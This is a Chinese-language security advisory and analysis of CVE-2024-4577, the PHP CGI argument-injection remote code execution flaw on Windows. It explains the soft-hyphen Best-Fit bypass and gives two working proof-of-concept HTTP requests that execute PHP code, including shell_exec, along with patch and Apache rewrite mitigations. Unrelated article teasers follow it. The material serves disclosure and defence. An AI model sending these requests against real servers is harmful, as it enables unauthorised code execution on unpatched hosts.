漏洞分析 | PHP CGI Windows平臺遠程代碼執行漏洞(CVE-2024-4577)

漏洞概述

PHP CGI(Common Gateway Interface)是在Windows平臺上運行PHP的一種方式。CGI是一種標準接口,允許Web服務器與外部應用程序(如PHP腳本)進行交互,從而生成動態網頁內容。

近期,PHP發布安全更新,修復了PHP CGI Windows平臺遠程代碼執行漏洞(CVE-2024-4577),目前該漏洞的細節已公開。鑒于該漏洞易于利用,且可遠程執行命令,建議所有受影響的企業盡快升級修復。

該漏洞產生的原因是繞過了CVE-2012-1823對字符"-"的過濾,忽視了Windows系統內部字符編碼轉換的Best-Fit特性,當PHP運行在Windows平臺且使用繁體中文、簡體中文、日語三種語言系統時,未經身份驗證的攻擊者可以構造惡意請求繞過PHP原本的安全限制,通過參數注入攻擊在PHP服務器上遠程執行任意代碼。

受影響版本

PHP 8.3 < 8.3.8
PHP 8.2 < 8.2.20
PHP 8.1 < 8.1.29

受影響資產

該漏洞關聯的web服務資產總數為134318個,獨立IP數為61655個。

漏洞分析

回顧CVE-2012-1823漏洞,該漏洞是用戶將HTTP請求參數提交至Apache服務器,通過mod_cgi模塊交給php-cgi處理,從漏洞補丁可以看出,如果檢測到字符串開頭為"-"字符并且字符串不存在"="字符就設置skip_getopt = 1,那么整個查詢字符串將作為CGI的參數進行傳遞,攻擊者可以向后端的php-cgi解析程序提交惡意數據,php-cgi會將惡意數據當做php參數直接執行。

編碼轉換中的"Best-Fit"特性是指在將字符從一個字符編碼轉換到另一個字符編碼時,如果目標編碼中沒有直接對應的字符,轉換過程會嘗試找到一個"最佳匹配"的字符來代替原始字符,而不是替換為一個錯誤字符或占位符字符。即使在目標編碼系統中沒有完全等價的字符,也能盡量保留原始文本的含義。

例如,Apache 會轉義實際的連字符 0x2D,但不會轉義“軟連字符”0xAD。如果CGI 處理程序收到軟連字符 (0xAD),CGI 處理程序將不會對其進行轉義,而是會將其傳遞給 PHP。然而,PHP 會將“軟連字符”解釋為真正的連字符,這允許攻擊者將以連字符開頭的命令行參數傳輸到 PHP 進程。

對應的編碼表信息https://www.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WindowsBestFit/bestfit936.txt

根據CVE-2024-4577漏洞修復的信息來看,在cgi_main.c文件中,在原來邏輯的基礎上新增對Windows環境的判斷,并使用WideCharToMultiByte函數對請求參數進行寬字節轉換,將寬字符轉換成多字節字符。

在原本的PHP代碼當中,if(*p=='-'),過濾了'-'這個符號,在修復的代碼中限制對0x80以上的字符來修復這個問題,并且從注釋可以看出,如果get發送的請求字符串中不包含"=",那么Apache就會把請求作為cgi的參數傳到命令行。但這會導致惡意請求的命令行參數傳遞給php,如果直接處理傳參,那么會影響到以獨立腳本方式運行的PHP腳本。所以只有當開頭是'-'的時候才阻止傳遞參數。

并且xampp的默認配置中apache會把請求直接轉發給php-cgi,

結合上述特征,當我們使用%ad來代替'-'時,可以繞過參數檢測,構成參數注入(見下列poc)。

漏洞復現

1、漏洞環境,選擇xampp_php/8.1.25

2、復現詳情

poc1:

POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
<?php echo shell_exec('dir');?>

查詢參數:

%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input

查詢參數會變成:

-d cgi.force_redirect=XCANWIN -d allow_url_include=on -d auto_prepend_file=php://input

在該查詢參數中cgi.force_redirect 是 PHP 的一個配置指令,用于控制 PHP CGI 模式下的請求重定向行為。默認情況下,這個指令被設置為 1(即開啟),在此處該指令設置為XCANWIN,表示已經通過了某種安全機制。將包含遠程文件的函數allow_url_include設置為on,auto_prepend_file允許每個請求之前必須嘗試從php://input讀取數據并將其作為代碼執行。
復現結果:

Poc2:

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 23<?php die("Te"."sT");?>

查詢參數

%add+ allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input

查詢參數會變成:

-d allow_url_include=on -d auto_prepend_file=php://input

poc2對比poc1沒有重定向配置cgi.force_redirect,而在請求頭中定義REDIRECT-STATUS: XCANWIN,表示某種安全檢測已經觸發。查詢參數中將包含遠程文件的函數allow_url_include設置為on,auto_prepend_file允許每個請求之前必須嘗試從php://input讀取數據并將其作為代碼執行。

復現結果:

修復方案

1.官方已發布新版本8.3.8、8.2.20、8.1.29
2.對于無法升級PHP的用戶:
通過在Apache 服務器的配置文件中,添加以下規則來阻止攻擊。需要注意的是,這些規則僅對繁體中文、簡體中文和日語語言環境起到臨時緩解作用。在實際操作中,仍然建議更新到補丁版本或遷移架構。

RewriteEngine On
RewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? - [F,L]

3.對于使用 XAMPP for Windows 的用戶,如果確認不需要 PHP CGI 功能,可以通過修改以下 Apache HTTP Server 配置來避免受到該漏洞的影響
注釋掉相應行:

# ScriptAlias /php-cgi/ "C:/xampp/php/"

4.PHP-CGI已經是一種過時且易出問題的架構,建議遷移至更為安全的Mod-PHP、FastCGI 或是 PHP-FPM 等架構。

產品支持

網宿全站防護-WAF已第一時間支持對該漏洞利用攻擊的防護,并持續挖掘分析其他變種攻擊方式和各類組件漏洞,第一時間上線防護規則,縮短防護“空窗期”。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/41201.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/41201.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/41201.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Request safe_get 小工具

接口安全獲取請求參數小工具&#xff08; python&#xff09; flask import logging import traceback from flask import (Blueprint, request, Response, jsonify, g, send_file)def safe_get(req: request, attr: str, defaultNone):try:if attr in req.form:return req.f…

拍攝泡咖啡的劇本!

泡咖啡的過程可以是一種放松和享受的儀式&#xff0c;同時也是一個記錄生活美好瞬間的好機會。以下是一些步驟和提示&#xff0c;幫助您記錄泡咖啡的過程&#xff1a; 1. **準備材料**&#xff1a; 確保您有新鮮的咖啡豆、磨豆機、咖啡壺、濾紙、熱水和杯子。 2. **選擇音樂**&…

Logstash安裝插件失敗的問題

Logstash安裝插件失敗的問題 安裝 logstash-output-jdbc 失敗 報錯為&#xff1a; Unable to download data from https://rubygems.org - Net::OpenTimeout: Failed to open TCP connection to rubygems.org:443 (execution expired) (https://rubygems.org/latest_specs.4.…

【算法 - 哈希表】兩數之和

這里寫自定義目錄標題 兩數之和題目解析思路解法一 &#xff1a;暴力枚舉 依次遍歷解法二 &#xff1a;使用哈希表來做優化 核心邏輯為什么之前的暴力枚舉策略不太好用了&#xff1f;所以&#xff0c;這就是 這道題選擇 固定一個數&#xff0c;再與其前面的數逐一對比完后&…

Linux系統(CentOS)安裝iptables防火墻

1&#xff0c;先檢查是否安裝了iptables 檢查安裝文件-執行命令&#xff1a;rpm -qa|grep iptables 檢查安裝文件-執行命令&#xff1a;service iptables status 2&#xff0c;如果安裝了就卸裝(iptables-1.4.21-35.el7.x86_64 是上面命令查出來的版本) 執行命令&#xff1a…

藍牙信標和藍牙標簽我們如何區分,區分方法有哪些?

藍牙信標和藍牙標簽其實是兩種不同的技術&#xff0c;很多人可能會把藍牙信標和藍牙標簽搞混&#xff0c;因為區分不開來&#xff0c;但實際上&#xff0c;區分這兩種技術也很簡單&#xff0c;因為它們各自都有不一樣的特性&#xff0c;通過這些特性&#xff0c;我們也能正常區…

相機光學(二十四)——CRA角度

CRA角度 0.參考資料1.什么是CRA角度2.為什么 CRA 會導致luma shading3.為什么 CRA 會導致color shading4.CRA相差過大的具體表現5.CRA Matching6.怎樣選擇sensor的CRA 0.參考資料 1.芯片CRA角度與鏡頭的匹配關系&#xff08;一&#xff09; ??2.芯片CRA角度與鏡頭選型的匹配關…

爬蟲進階:Selenium與Ajax的無縫集成

爬蟲與Ajax的挑戰 Ajax&#xff08;Asynchronous JavaScript and XML&#xff09;允許網頁在不重新加載整個頁面的情況下與服務器交換數據并更新部分內容。這為用戶帶來了更好的體驗&#xff0c;但同時也使得爬蟲在抓取數據時面臨以下挑戰&#xff1a; 動態內容加載&#xff…

go語言 函數和包

go語言 函數和包 一、函數 在Go語言中&#xff0c;函數是執行特定任務的自包含代碼塊。 1.函數的定義 函數通過func關鍵字定義&#xff0c;格式如下&#xff1a; func 函數名(形參 形參類型, 形參 形參類型) 返回值類型 {函數體return 返回值 }2.基礎函數類型 無參數無返回…

vue中數組出現__ob__: Observer屬性,導致不能正確使用問題解決

直接上圖&#xff0c;如下圖&#xff0c;數組中出現__ob__: Observer屬性&#xff0c;導致無法取值。 解決方案為&#xff1a;JSON.parse(JSON.stringify(數組變量名))深拷貝數組&#xff0c;重新生成一個可枚舉數組。 // 處理代碼如let tempIds JSON.parse(JSON.stringify(i…

一文帶你初探FreeRTOS信號量

本文記錄我初步學習FreeRTOS的信號量的知識&#xff0c;在此記錄分享&#xff0c;希望我的分享對你有所幫助&#xff01; 什么是信號量 在FreeRTOS中&#xff0c;信號量&#xff08;Semaphore&#xff09;是一種用于任務間同步和資源共享的機制。信號量主要用于管理對共享資源的…

Cgi上傳文件 注意事項

//核心代碼 ofstream outfile("/opt/software/" file.getFilename(), ios::out | ios::binary); outfile << file.getData(); //錯誤方式&#xff1a;outfile << file.getData() <<endl; outfile.close(); 參考博客&#xff1a; https://blog.cs…

GNU/Linux - 各種包管理器介紹

Linux 包管理器根據不同的發行版和包管理系統有所不同。以下是一些常見的 Linux 包管理器&#xff1a; 1. RPM (Red Hat Package Manager) * 用于&#xff1a; Red Hat Enterprise Linux (RHEL), Fedora, CentOS, openSUSE * 包管理器&#xff1a; rpm, yum, dnf 2. DEB (Deb…

HTML如何在圖片上添加文字

HTML如何在圖片上添加文字 當我們開發一個頁面&#xff0c;插入圖片時&#xff0c;需要有一組文字對圖片進行描述。那么HTML中如何在圖片上添加文字呢&#xff1f;這篇文章告訴你。 先讓我們來看下效果圖&#xff1a; 句子“這是一張夜空圖片”被放置在了圖片的左下角。 那么…

Leetcode.342 4的冪

給定一個整數&#xff0c;寫一個函數來判斷它是否是 4 的冪次方。如果是&#xff0c;返回 true &#xff1b;否則&#xff0c;返回 false 。 整數 n 是 4 的冪次方需滿足&#xff1a;存在整數 x 使得 n 4x 示例 1&#xff1a; 輸入&#xff1a;n 16 輸出&#xff1a;true示…

微信小程序的智慧物流平臺-計算機畢業設計源碼49796

目 錄 摘要 1 緒論 1.1 研究背景 1.2 研究意義 1.3研究方法 1.4開發技術 1.4.1 微信開發者工具 1.4.2 Node.JS框架 1.4.3 MySQL數據庫 1.5論文結構與章節安排 2系統分析 2.1 可行性分析 2.2 系統流程分析 2.2.1 用戶登錄流程 2.2.2 數據刪除流程 2.3 系統功能分…

C#面:ASP.NET Core Filter如何?持依賴注??

ASP.NET Core Filter可以通過依賴注入來支持。在ASP.NET Core中&#xff0c;依賴注入是一種將依賴對象提供給類的機制&#xff0c;它可以幫助我們解耦和測試代碼。 要在ASP.NET Core Filter中使用依賴注入&#xff0c;可以按照以下步驟進行操作&#xff1a; 首先&#xff0c;…

ESP32CAM物聯網教學09

ESP32CAM物聯網教學09 攝像頭配上顯示屏 小智給攝像頭配上了一塊液晶顯示屏,ESP32Cam變得更加酷炫了,應用也更加廣泛了。 TFT彩色顯示屏從第一課的CameraWebServer開始,我們一直都是利用瀏覽器來查看顯示攝像頭的視頻流,都需要借助這個網頁提供的服務。 可以讓ESP32Cam開…

【案例干貨】智能導覽智慧景區系統小程序開發主要功能

智能景區/園區導覽系統是一種利用云計算、物聯網等新技術&#xff0c;通過互聯網或移動互聯網&#xff0c;借助便攜的終端上網設備&#xff0c;為游客提供全方位、便捷化街區導航與信息服務的系統。 其主要功能可以歸納為以下幾個方面&#xff1a; 1. 街區資訊展示 信息介紹&…

纏中說禪李彪08年“假死”具體原因探討

在纏中說禪的信徒圈內&#xff0c;流傳著創始人李彪于2008年逝世的說法&#xff0c;這一事件常被描繪成一種悲壯的犧牲&#xff0c;仿佛是為了其理念與信徒們的福祉鞠躬盡瘁。然而&#xff0c;這一“逝世”既未經公開證實&#xff0c;也與李彪生前構建的高大名聲形成了某種諷刺…